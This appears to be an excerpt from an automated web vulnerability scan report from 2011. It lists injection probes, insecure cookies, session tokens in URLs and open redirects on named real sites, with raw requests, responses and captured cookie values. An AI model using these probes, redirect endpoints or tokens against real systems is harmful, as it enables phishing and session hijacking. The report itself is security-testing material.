Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.meebo.com/cim/sandbox.php?lang=en&version=v92_cim_11_8_0&protocol=http%3A&network=philly

Response

HTTP/1.1 404 Not Found
Content-Type: text/html
Date: Tue, 10 May 2011 14:22:16 GMT
Server: lighttpd/1.4.19
Accept-Ranges: bytes
Vary: Accept-Encoding
Cache-Control: private, no-store
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: Keep-Alive
Content-Length: 345

<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w
...[SNIP]...

8.18. http://s.meebocdn.net/cim/script/sandbox_v92_cim_11_8_0.en.js [REST URL parameter 2] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://s.meebocdn.net
Path:	/cim/script/sandbox_v92_cim_11_8_0.en.js

Issue detail

Request

GET /cim/script]]>>/sandbox_v92_cim_11_8_0.en.js?1303937101 HTTP/1.1
Host: s.meebocdn.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.meebo.com/cim/sandbox.php?lang=en&version=v92_cim_11_8_0&protocol=http%3A&network=philly

Response

HTTP/1.1 404 Not Found
Content-Type: text/html
Date: Tue, 10 May 2011 14:22:21 GMT
Server: lighttpd/1.4.19
Accept-Ranges: bytes
Vary: Accept-Encoding
Cache-Control: private, no-store
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: Keep-Alive
Content-Length: 345

<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w
...[SNIP]...

8.19. http://s.meebocdn.net/cim/script/sandbox_v92_cim_11_8_0.en.js [REST URL parameter 3] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://s.meebocdn.net
Path:	/cim/script/sandbox_v92_cim_11_8_0.en.js

Issue detail

Request

GET /cim/script/sandbox_v92_cim_11_8_0.en.js]]>>?1303937101 HTTP/1.1
Host: s.meebocdn.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.meebo.com/cim/sandbox.php?lang=en&version=v92_cim_11_8_0&protocol=http%3A&network=philly

Response

HTTP/1.1 404 Not Found
Content-Type: text/html
Content-Length: 345
Date: Tue, 10 May 2011 14:22:26 GMT
Server: lighttpd/1.4.19
Accept-Ranges: bytes
Cache-Control: private, max-age=604800
Age: 0
Expires: Tue, 17 May 2011 14:22:26 GMT
Connection: Keep-Alive

<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w
...[SNIP]...

8.20. http://s3.vpimg.net/vodpod.com.videos.thumbnail/8045516.large.jpg [REST URL parameter 1] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://s3.vpimg.net
Path:	/vodpod.com.videos.thumbnail/8045516.large.jpg

Issue detail

Request

GET /vodpod.com.videos.thumbnail]]>>/8045516.large.jpg?1 HTTP/1.1
Host: s3.vpimg.net
Proxy-Connection: keep-alive
Referer: http://moconews.net/article/419-nfc-in-focus-at-google-io-as-foursquare-hashable-join-party/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.0 404 Not Found
x-amz-request-id: 440C6521AC493CAE
x-amz-id-2: 26r+mpjlygS6dRbWvVqQgMur/q1wEOYP61wQ/QNKv8Jtk2h/kl/rhBVmVw9LsF9X
Content-Type: application/xml
Date: Tue, 10 May 2011 13:44:48 GMT
Server: AmazonS3
X-Cache: MISS from cdce-nym011-015.nym011.internap.com
X-Cache: MISS from cdce-nym011-014.nym011.internap.com
Via: 1.1 cdce-nym011-015.nym011.internap.com:1080 (squid/2.7.STABLE7), 1.0 cdce-nym011-014.nym011.internap.com:80 (squid/2.7.STABLE7)
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>NoSuchBucket</Code><Message>The specified bucket does not exist</Message><BucketName>vodpod.com.videos.thumbnail]]>></BucketName><RequestId>44
...[SNIP]...

8.21. http://s3.vpimg.net/vodpod.com.videos.thumbnail/8045516.large.jpg [REST URL parameter 2] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://s3.vpimg.net
Path:	/vodpod.com.videos.thumbnail/8045516.large.jpg

Issue detail

Request

GET /vodpod.com.videos.thumbnail/8045516.large.jpg]]>>?1 HTTP/1.1
Host: s3.vpimg.net
Proxy-Connection: keep-alive
Referer: http://moconews.net/article/419-nfc-in-focus-at-google-io-as-foursquare-hashable-join-party/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.0 403 Forbidden
x-amz-request-id: DC047BC86B16DB83
x-amz-id-2: fc+eiQAANJdW06MAov7bE8DGOLlUEd4wSyiD9ihmuNDYoTQpSrqgsbPkh5WFfHx3
Content-Type: application/xml
Date: Tue, 10 May 2011 13:44:49 GMT
Server: AmazonS3
X-Cache: MISS from cdce-nym011-014.nym011.internap.com
X-Cache: MISS from cdce-nym011-014.nym011.internap.com
Via: 1.1 cdce-nym011-014.nym011.internap.com:1082 (squid/2.7.STABLE7), 1.0 cdce-nym011-014.nym011.internap.com:80 (squid/2.7.STABLE7)
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>DC047BC86B16DB83</RequestId><HostId>fc+eiQAANJdW06MAov7bE8DGOLlUEd4wSyiD9ihmuNDYoTQpSr
...[SNIP]...

8.22. http://w55c.net/ct/cms-2-frame.html [REST URL parameter 1] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://w55c.net
Path:	/ct/cms-2-frame.html

Issue detail

Request

GET /ct]]>>/cms-2-frame.html?admeld_user_id=ac5afe89-dbe3-4a99-9c60-59f4fb495cb9&admeld_adprovider_id=260&admeld_call_type=iframe&admeld_callback=http://tag.admeld.com/match HTTP/1.1
Host: w55c.net
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/607/salonmedia/300x250/default_criteo?t=1305033240941&tz=300&m=0&hu=&ht=js&hp=0&fo=&url=http%3A%2F%2Fletters.salon.com%2Fpolitics%2Fwar_room%2F2011%2F05%2F09%2Fsantorum_loser%2Fview%2F&refer=
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: matchadmeld=1; wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC

Response

HTTP/1.1 404 Not Found
P3P: policyref='http://w55c.net/w3c/p3p.xml', CP='DSP NOI COR'
Content-Type: text/html
Content-Length: 345
Date: Tue, 10 May 2011 13:27:52 GMT
Server: w55c.net

<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w
...[SNIP]...

8.23. http://w55c.net/ct/cms-2-frame.html [REST URL parameter 2] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://w55c.net
Path:	/ct/cms-2-frame.html

Issue detail

Request

GET /ct/cms-2-frame.html]]>>?admeld_user_id=ac5afe89-dbe3-4a99-9c60-59f4fb495cb9&admeld_adprovider_id=260&admeld_call_type=iframe&admeld_callback=http://tag.admeld.com/match HTTP/1.1
Host: w55c.net
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/607/salonmedia/300x250/default_criteo?t=1305033240941&tz=300&m=0&hu=&ht=js&hp=0&fo=&url=http%3A%2F%2Fletters.salon.com%2Fpolitics%2Fwar_room%2F2011%2F05%2F09%2Fsantorum_loser%2Fview%2F&refer=
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: matchadmeld=1; wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC

Response

HTTP/1.1 404 Not Found
Cache-Control: max-age=3600, must-revalidate
Content-Type: text/html
Content-Length: 345
Date: Tue, 10 May 2011 13:27:56 GMT
Server: w55c.net

<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w
...[SNIP]...

8.24. http://www.washingtonpost.com//vendor/survey-gizmo.jsp [REST URL parameter 1] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://www.washingtonpost.com
Path:	//vendor/survey-gizmo.jsp

Issue detail

Request

GET //vendor]]>>/survey-gizmo.jsp?pollURL=http://www.surveygizmo.com/s3/polljs&pollID=539472-DPU5JRD6BN7QFZ9AI8X6B82W22I59H HTTP/1.1
Host: www.washingtonpost.com
Proxy-Connection: keep-alive
Referer: http://www.washingtonpost.com/blogs/right-turn/post/rick-santorum-doesnt-understand-america/2011/03/29/AFHhSbBG_blog.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: WPNIUCID=WPNI1304310786188.9974; s_vi=[CS]v1|26DEF6EE05011508-40000100A0001105[CE]; s_pers=%20s_nr%3D1305033204715-Repeat%7C1307625204715%3B%20s_lv%3D1305033204717%7C1399641204717%3B%20s_lv_s%3DMore%2520than%25207%2520days%7C1305035004717%3B%20s_vmonthnum%3D1306904400800%2526vn%253D2%7C1306904400800%3B%20s_monthinvisit%3Dtrue%7C1305035004721%3B%20gvp_p5%3Dopinions%253Ablog%253Aright-turn%2520-%2520AFHhSbBG%2520-%252020110506%2520-%2520rick-santorum-doesnt-understand-america%7C1305035004728%3B; s_sess=%20s_cc%3Dtrue%3B%20s_dslv%3DMore%2520than%25207%2520days%3B%20s_wp_ep%3Dblog%3B%20s._ref%3DDirect-Load%3B%20s_sq%3D%3B; __qseg=Q_D|Q_T|Q_2919|Q_1807|Q_1665|Q_1649|Q_1648|Q_1645; rss_now=false; wpni_poe=true; popUpClockCookie=1; popUpOnPreviousPageCookie=true; wp_pageview=1; mbox=check#true#1305033270|session#1305033209163-998563#1305035070; headzip=20001; rsi_segs=J05531_10298|J05531_10323|J05531_10488|J05531_10499|J05531_10501|D08734_70008|D08734_72078|J05531_10128; wapo_vis_id=6162765c-0f78-4cc9-8332-d644ebfef80c; wapo_sess_id=6B06C0C048D94D618BE338C5FA23551E; wapo_last_ip=173.193.214.243; wapo_saved_ip=173.193.214.243; wapo_saved_omnitureid=%5BCS%5Dv1%7C26DEF6EE05011508-40000100A0001105%5BCE%5D; backplane-channel=washpost.com:130503326439488483

Response

HTTP/1.1 404 Not Found
Server: Apache-Coyote/1.1
ETag: 6ef92c95-2b4f-48a2-a055-78034ed36997
Content-Type: text/html;charset=UTF-8
X-Cnection: close
Cache-Control: max-age=120
Date: Tue, 10 May 2011 13:33:25 GMT
Connection: close
Vary: Accept-Encoding
Content-Length: 65458

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="EN" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.fac
...[SNIP]...
<script type="text/javascript" src="http://media.washingtonpost.com/wp-srv/ad/textlinks/js/utilsTextLinksXML.js">
...[SNIP]...

9. SSL cookie without secure flag set previous next
There are 2 instances of this issue:

https://secure.smartphoneexperts.com/content/customercare/page-status.htm
https://support.ccbill.com/

Issue background

If the secure flag is set on a cookie, then browsers will not submit the cookie in any requests that use an unencrypted HTTP connection, thereby preventing the cookie from being trivially intercepted by an attacker monitoring network traffic. If the secure flag is not set, then the cookie will be transmitted in clear-text if the user visits any HTTP URLs within the cookie's scope. An attacker may be able to induce this event by feeding a user suitable links, either directly or via another web site. Even if the domain which issued the cookie does not host any content that is accessed over HTTP, an attacker may be able to use links of the form http://example.com:443/ to perform the same attack.

Issue remediation

The secure flag should be set on all cookies that are used for transmitting sensitive data when accessing content over HTTPS. If cookies are used to transmit session tokens, then areas of the application that are accessed over HTTPS should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications.

9.1. https://secure.smartphoneexperts.com/content/customercare/page-status.htm previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	https://secure.smartphoneexperts.com
Path:	/content/customercare/page-status.htm

Issue detail

The following cookies were issued by the application and do not have the secure flag set:

PHPSESSID=q6shm07j0a6gj72ilipu9v6kv3; expires=Fri, 10-Jun-2011 14:04:16 GMT; HttpOnly
visitor_id=ff8cacd051298760afb6c872bd507f6f; expires=Sun, 08-May-2016 14:04:16 GMT; path=/
cookie_treo_model=deleted; expires=Mon, 10-May-2010 14:04:15 GMT; path=/; httponly

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /content/customercare/page-status.htm?store_id_secure=15&d=1317&ab_testing_session_serialized= HTTP/1.1
Host: secure.smartphoneexperts.com
Connection: keep-alive
Referer: http://store.androidcentral.com/content/customercare/index.htm
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: spe
Date: Tue, 10 May 2011 14:04:16 GMT
Content-Type: text/html
Connection: keep-alive
Set-Cookie: store_id_secure=deleted; expires=Mon, 10-May-2010 14:04:15 GMT; path=/; secure; httponly
Set-Cookie: store_id_secure=15; path=/; secure; httponly
Set-Cookie: PHPSESSID=q6shm07j0a6gj72ilipu9v6kv3; expires=Fri, 10-Jun-2011 14:04:16 GMT; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: visitor_id=ff8cacd051298760afb6c872bd507f6f; expires=Sun, 08-May-2016 14:04:16 GMT; path=/
Set-Cookie: cookie_treo_model=deleted; expires=Mon, 10-May-2010 14:04:15 GMT; path=/; httponly
Set-Cookie: cookie_treo_model=1317; expires=Tue, 09-Apr-2013 14:04:16 GMT; path=/; httponly
Set-Cookie: device_id_history=1317; path=/; httponly
X-Accel-Expires: 0
Content-Length: 22615

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns='http://www.w3.org/1999/xhtml' xml:lang='en' lang='en'>
<head>
<ti
...[SNIP]...

9.2. https://support.ccbill.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://support.ccbill.com
Path:	/

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

TScc32cb=59b2e0503fd62e77263a776fa2828a6b7e80aafbf64f5dc34dc943aa; Path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: support.ccbill.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:54:50 GMT
X-Cnection: close
Content-Type: text/html; charset=ISO-8859-1
Set-Cookie: TScc32cb=59b2e0503fd62e77263a776fa2828a6b7e80aafbf64f5dc34dc943aa; Path=/
Content-Length: 13895

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>CCBill Credit Ca
...[SNIP]...

10. Session token in URL previous next
There are 3 instances of this issue:

http://api.echoenabled.com/v1/users/whoami
http://l.sharethis.com/pview
http://www.facebook.com/extern/login_status.php

Issue background

Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing session tokens into the URL increases the risk that they will be captured by an attacker.

Issue remediation

The application should use an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.

10.1. http://api.echoenabled.com/v1/users/whoami previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	http://api.echoenabled.com
Path:	/v1/users/whoami

Issue detail

The URL in the request appears to contain a session token within the query string:

http://api.echoenabled.com/v1/users/whoami?callback=jsonp1305033204686&appkey=prod.washpost.com&sessionID=http%3A%2F%2Fapi.js-kit.com%2Fv1%2Fbus%2Fwashpost.com%2Fchannel%2F130503326439488483

Request

GET /v1/users/whoami?callback=jsonp1305033204686&appkey=prod.washpost.com&sessionID=http%3A%2F%2Fapi.js-kit.com%2Fv1%2Fbus%2Fwashpost.com%2Fchannel%2F130503326439488483 HTTP/1.1
Host: api.echoenabled.com
Proxy-Connection: keep-alive
Referer: http://www.washingtonpost.com/blogs/right-turn/post/rick-santorum-doesnt-understand-america/2011/03/29/AFHhSbBG_blog.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Connection: close
Server: Yaws/1.85 Yet Another Web Server
Date: Tue, 10 May 2011 13:32:28 GMT
Content-Length: 53
Content-Type: application/x-javascript; charset="utf-8"

jsonp1305033204686({"result": "session_not_found"});

10.2. http://l.sharethis.com/pview previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	http://l.sharethis.com
Path:	/pview

Issue detail

The URL in the request appears to contain a session token within the query string:

http://l.sharethis.com/pview?event=pview&source=share4x&publisher=null&hostname=www.geek.com&location=%2Farticles%2Fgeek-pick%2Fgoogle-music-to-launch-in-beta-at-io-2011-20110510%2F&url=http%3A%2F%2Fwww.geek.com%2Farticles%2Fgeek-pick%2Fgoogle-music-to-launch-in-beta-at-io-2011-20110510%2F&sessionID=1305033292781.74551&fpc=1c2dd7f-12fda0bbbee-38620289-1&ts1305033337766.0

Request

GET /pview?event=pview&source=share4x&publisher=null&hostname=www.geek.com&location=%2Farticles%2Fgeek-pick%2Fgoogle-music-to-launch-in-beta-at-io-2011-20110510%2F&url=http%3A%2F%2Fwww.geek.com%2Farticles%2Fgeek-pick%2Fgoogle-music-to-launch-in-beta-at-io-2011-20110510%2F&sessionID=1305033292781.74551&fpc=1c2dd7f-12fda0bbbee-38620289-1&ts1305033337766.0 HTTP/1.1
Host: l.sharethis.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __stid=CspT702sdV9LL0aNgCmJAg==; __switchTo5x=64; __utmz=79367510.1303478681.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __unam=8f891fa-12f7d623a1f-609dccbc-23; __utma=79367510.1475296623.1303478681.1303478681.1303478681.1; __uset_netshelter=yes

Response

HTTP/1.1 204 No Content
Server: nginx/0.7.65
Date: Tue, 10 May 2011 13:49:23 GMT
Connection: keep-alive

10.3. http://www.facebook.com/extern/login_status.php previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	http://www.facebook.com
Path:	/extern/login_status.php

Issue detail

The URL in the request appears to contain a session token within the query string:

http://www.facebook.com/extern/login_status.php?api_key=118770388153276&app_id=118770388153276&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D0%23cb%3Df12dbcb838%26origin%3Dhttp%253A%252F%252Fwww.philly.com%252Fffacbc82c%26relation%3Dparent.parent%26transport%3Dpostmessage&display=hidden&extern=2&locale=en_US&method=auth.status&next=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D0%23cb%3Df22cee0d7c%26origin%3Dhttp%253A%252F%252Fwww.philly.com%252Fffacbc82c%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df3dd781858%26result%3D%2522xxRESULTTOKENxx%2522&no_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D0%23cb%3Df1e3aeaf4c%26origin%3Dhttp%253A%252F%252Fwww.philly.com%252Fffacbc82c%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df3dd781858&no_user=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D0%23cb%3Df14fb68694%26origin%3Dhttp%253A%252F%252Fwww.philly.com%252Fffacbc82c%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df3dd781858&ok_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D0%23cb%3Df1acc9b4%26origin%3Dhttp%253A%252F%252Fwww.philly.com%252Fffacbc82c%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df3dd781858&sdk=joey&session_version=3

Request

GET /extern/login_status.php?api_key=118770388153276&app_id=118770388153276&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D0%23cb%3Df12dbcb838%26origin%3Dhttp%253A%252F%252Fwww.philly.com%252Fffacbc82c%26relation%3Dparent.parent%26transport%3Dpostmessage&display=hidden&extern=2&locale=en_US&method=auth.status&next=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D0%23cb%3Df22cee0d7c%26origin%3Dhttp%253A%252F%252Fwww.philly.com%252Fffacbc82c%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df3dd781858%26result%3D%2522xxRESULTTOKENxx%2522&no_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D0%23cb%3Df1e3aeaf4c%26origin%3Dhttp%253A%252F%252Fwww.philly.com%252Fffacbc82c%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df3dd781858&no_user=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D0%23cb%3Df14fb68694%26origin%3Dhttp%253A%252F%252Fwww.philly.com%252Fffacbc82c%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df3dd781858&ok_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D0%23cb%3Df1acc9b4%26origin%3Dhttp%253A%252F%252Fwww.philly.com%252Fffacbc82c%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df3dd781858&sdk=joey&session_version=3 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://www.philly.com/philly/news/nation_world/121548659.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: campaign_click_url=%2Fcampaign%2Flanding.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dbing.com%26placement%3Dlike_button%26extra_1%3Dhttp%253A%252F%252Fwww.bing.com%252Fhp%253F%2526MKT%253Den-us%26extra_2%3DUS; datr=ituyTcnawc6q7VcE0gibPCo2

Response

HTTP/1.1 302 Found
Location: http://static.ak.fbcdn.net/connect/xd_proxy.php?version=0#cb=f14fb68694&origin=http%3A%2F%2Fwww.philly.com%2Fffacbc82c&relation=parent&transport=postmessage&frame=f3dd781858
Content-Type: text/html; charset=utf-8
X-FB-Server: 10.54.181.41
X-Cnection: close
Date: Tue, 10 May 2011 13:11:45 GMT
Content-Length: 0

11. Open redirection previous next
There are 13 instances of this issue:

http://ad.trafficmp.com/a/bpix [r parameter]
http://b.scorecardresearch.com/r [d.c parameter]
http://bh.contextweb.com/bh/rtset [rurl parameter]
http://bs.serving-sys.com/BurstingPipe/adServer.bs [ru parameter]
http://cmap.am.ace.advertising.com/amcm.ashx [admeld_callback parameter]
http://d.xp1.ru4.com/activity [redirect parameter]
http://fw.adsafeprotected.com/rfw/bs.serving-sys.com/9349/83989/BurstingPipe/adServer.bs [REST URL parameter 2]
http://fw.adsafeprotected.com/rfw/bs.serving-sys.com/9349/83990/BurstingPipe/adServer.bs [REST URL parameter 2]
http://i.w55c.net/ping_match.gif [rurl parameter]
http://sync.mathtag.com/sync/img [redir parameter]
http://tag.admeld.com/id [redirect parameter]
http://tags.bluekai.com/site/3561 [redir parameter]
http://xcdn.xgraph.net/17572/ae/xg.gif [n parameter]

Issue background

Open redirection vulnerabilities arise when an application incorporates user-controllable data into the target of a redirection in an unsafe way. An attacker can construct a URL within the application which causes a redirection to an arbitrary external domain. This behaviour can be leveraged to facilitate phishing attacks against users of the application. The ability to use an authentic application URL, targetting the correct domain with a valid SSL certificate (if SSL is used) lends credibility to the phishing attack because many users, even if they verify these features, will not notice the subsequent redirection to a different domain.

Issue remediation

If possible, applications should avoid incorporating user-controllable data into redirection targets. In many cases, this behaviour can be avoided in two ways:

Remove the redirection function from the application, and replace links to it with direct links to the relevant target URLs.
Maintain a server-side list of all URLs that are permitted for redirection. Instead of passing the target URL as a parameter to the redirector, pass an index into this list.

If it is considered unavoidable for the redirection function to receive user-controllable input and incorporate this into the redirection target, one of the following measures should be used to minimize the risk of redirection attacks:

The application should use relative URLs in all of its redirects, and the redirection function should strictly validate that the URL received is a relative URL.
The application should use URLs relative to the web root for all of its redirects, and the redirection function should validate that the URL received starts with a slash character. It should then prepend http://yourdomainname.com to the URL before issuing the redirect.
The application should use absolute URLs for all of its redirects, and the redirection function should verify that the user-supplied URL begins with http://yourdomainname.com/ before issuing the redirect.

11.1. http://ad.trafficmp.com/a/bpix [r parameter] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://ad.trafficmp.com
Path:	/a/bpix

Issue detail

The value of the r request parameter is used to perform an HTTP redirect. The payload http%3a//a156e68de62c4331/a%3f was submitted in the r parameter. This caused a redirection to the following URL:

http://a156e68de62c4331/a?

Request

GET /a/bpix?adv=754&id=476&r=http%3a//a156e68de62c4331/a%3f HTTP/1.1
Host: ad.trafficmp.com
Proxy-Connection: keep-alive
